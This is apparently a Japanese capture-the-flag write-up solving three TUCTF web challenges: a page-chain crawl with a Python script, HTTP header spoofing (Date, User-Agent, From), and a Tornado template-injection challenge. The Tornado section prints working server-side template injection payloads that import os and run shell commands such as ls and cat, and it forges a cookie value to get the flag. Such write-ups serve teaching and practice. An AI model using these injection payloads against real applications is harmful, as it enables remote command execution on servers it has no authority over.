[web] Hyper Maze
迷宮が与えられる。
GET /pages/page_aesthetician100.html
のソースコードを眺めているとpage_drawl99.htmlというのが見つかる。
なるほどね。
page_ほにゃらら数字.htmlを探して、順番にたどっていけばいい
import requests import re import time BASE = 'https://hyper-maze.tuctf.com/pages/' page = 'page_aesthetician100.html' for _ in range(99): t = requests.get(f'{BASE}{page}').text page = re.findall(r'(page_[a-z]*[0-9]*\.html)', t)[0] print(page) time.sleep(3)
page_lagenaria1.htmlが手に入るので
GET /pages/page_lagenaria1.html
を探すと
3xtr4_s3cr3t_fl4g_429850252068.htmlというのが見つかり、
GET /pages/3xtr4_s3cr3t_fl4g_429850252068.html
にアクセスするとフラグ。
[web] Swapping Heads
Sorry! This site is only available from noon to midnight!
ほう。
HTTPリクエストにDateヘッダーというのがあったな。
MDNにあるサンプルを適当にいじって出してみる。
Date: Wed, 21 Oct 2015 23:28:00 GMT
->
Wait a minute! That browser is not from March 2009!
user agentを古いものにしないといけない?
ちょっと調べると
2009年3月のブラウザニュース | RBB TODAY
IE8かFirefox 3.1っぽい?
IE8のuser agentを入れるとすすむ。
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)
->
No can do! Where is your email for this site?
From - HTTP | MDN
こういうのあるのか
From: webmaster@example.org
ちがうのか…?
From: webmaster@swapping-heads.tuctf.com
を入れたらフラグが降ってきた。
[web] Tornado
Tornadeとか、templateとか、そういったワードがあるのでSSTIを狙う。
{{4*4}}
としてみるとHello 16!
と言われるので方向性はOK.
{% import os %}{{ os.popen("ls").read() }}
lookatme.txt
が見つかる。
{% import os %}{{ os.popen("cat lookatme.txt").read() }}
Z28gdG8= L3BhcnR0d29vZnRoZXByb2JsZW0=
->
go to/parttwooftheproblem
第一ステージは突破したみたい。
Bob has 1027524 cookies. Alice has 2 cookies. How many cookies does Joe have?
と言われる。
POST /namecheck
の応答に
<p style="color:white"> Joe has 12957293 cookies - so forgetful, making me put it on the webpage</p>
とある。
色々試すとCookie: are_you_joe=12957293
とするとフラグが出てきた。